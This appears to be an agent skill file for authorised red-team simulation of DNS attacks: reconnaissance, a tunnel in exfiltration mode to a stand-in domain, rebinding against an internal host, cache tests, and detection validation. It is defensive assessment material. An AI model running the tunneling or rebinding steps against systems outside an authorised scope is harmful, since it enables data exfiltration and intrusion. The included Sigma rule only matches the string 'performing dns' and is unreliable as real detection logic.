<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-dns-attack-simulation
description: >-
  Simulate DNS-based attacks including DNS tunneling, cache poisoning, domain
  hijacking, and DNS rebinding to assess DNS security controls, monitoring
  capabilities, and resolver hardening against DNS abuse techniques.
domain: cybersecurity
subdomain: adversary-simulation
tags:
  - dns-security
  - dns-tunneling
  - cache-poisoning
  - domain-hijacking
  - dns-rebinding
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1071.004", "T1568", "T1584.001", "T1048.003"]
  frameworks: ["MITRE ATT&CK", "CIS Controls", "NIST SP 800-81"]
  tools: ["python3", "dnscat2", "iodine", "dnsrecon"]
---

# Performing DNS Attack Simulation

## Overview

DNS attack simulation tests organizational defenses against DNS-based threat
vectors — from data exfiltration via DNS tunneling and C2 communication over
DNS to cache poisoning and domain hijacking. These assessments validate DNS
monitoring, DNSSEC deployment, DNS firewall rules, and the ability to detect
anomalous DNS query patterns indicative of adversary activity.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `python3` | Security tooling |
| `dnscat2` | Security tooling |
| `iodine` | Security tooling |
| `dnsrecon` | Security tooling |
| `DNS analysis tools` | Security tooling |
| Authorized DNS assessment scope with resolver boundaries defined | Environment requirement |
| Controlled DNS infrastructure for tunnel and rebinding tests | Environment requirement |
| DNS monitoring and logging enabled for detection validation | Environment requirement |

## Workflow

### Step 1: DNS Reconnaissance

```bash
# Enumerate DNS records and zone transfer attempts
node scripts/agent.js recon --domain target.com --checks zone-transfer,records,subdomains

# Analyze DNS resolver configuration
node scripts/agent.js resolver-check --resolver 10.0.0.1 --checks dnssec,recursion,cache
```

### Step 2: DNS Tunneling Simulation

```bash
# Deploy controlled DNS tunnel for exfiltration testing
node scripts/agent.js tunnel --domain tunnel.sim.example.com --mode exfil --data test-payload

# Measure DNS tunnel bandwidth and detection threshold
node scripts/agent.js tunnel-metrics --domain tunnel.sim.example.com --duration 60
```

### Step 3: DNS Abuse Testing

```bash
# Simulate DNS rebinding attack against internal services
node scripts/agent.js rebinding --domain rebind.sim.example.com --target 192.168.1.100

# Test DNS cache behavior with crafted responses
node scripts/agent.js cache-test --resolver 10.0.0.1 --domain test.sim.example.com
```

### Step 4: Detection Validation and Reporting

```bash
# Correlate DNS test activity with monitoring alerts
node scripts/agent.js correlate --test-log dns-tests.json --dns-logs dns-monitor.json

# Generate DNS security assessment report
node scripts/agent.js report --scope full --output dns-report.json
```

## Detection

```yaml
title: Dns Attack Simulation Detection
id: 52c3e2f6-0812-4c8a-a84c-a80e5640d842
status: experimental
description: Detects suspicious activity related to performing dns attack simulation techniques in adversary simulation context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*dns*"
  condition: selection
level: high
tags:
  - attack.t1071.004
  - attack.t1568
  - attack.t1584.001
  - attack.t1048.003
  - attack.execution
falsepositives:
  - Authorized red team exercises during approved testing windows
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Dns Attack Simulation Detection | windows/process_creation | Sigma rule (high) |
| ATT&CK Coverage | MITRE ATT&CK | T1071.004, T1568, T1584.001, T1048.003 |

## Verification

- [ ] DNS reconnaissance identifies zone exposure and misconfigurations
- [ ] DNS tunneling detected by monitoring within acceptable threshold
- [ ] DNS rebinding mitigations validated on internal resolvers
- [ ] DNSSEC validation enforced where deployed
- [ ] Report documents DNS hardening and monitoring recommendations

## References

- [NIST SP 800-81](https://csrc.nist.gov/publications/detail/sp/800-81-2/final) — Secure DNS deployment guide
- [MITRE T1071.004](https://attack.mitre.org/techniques/T1071/004/) — DNS protocol for C2
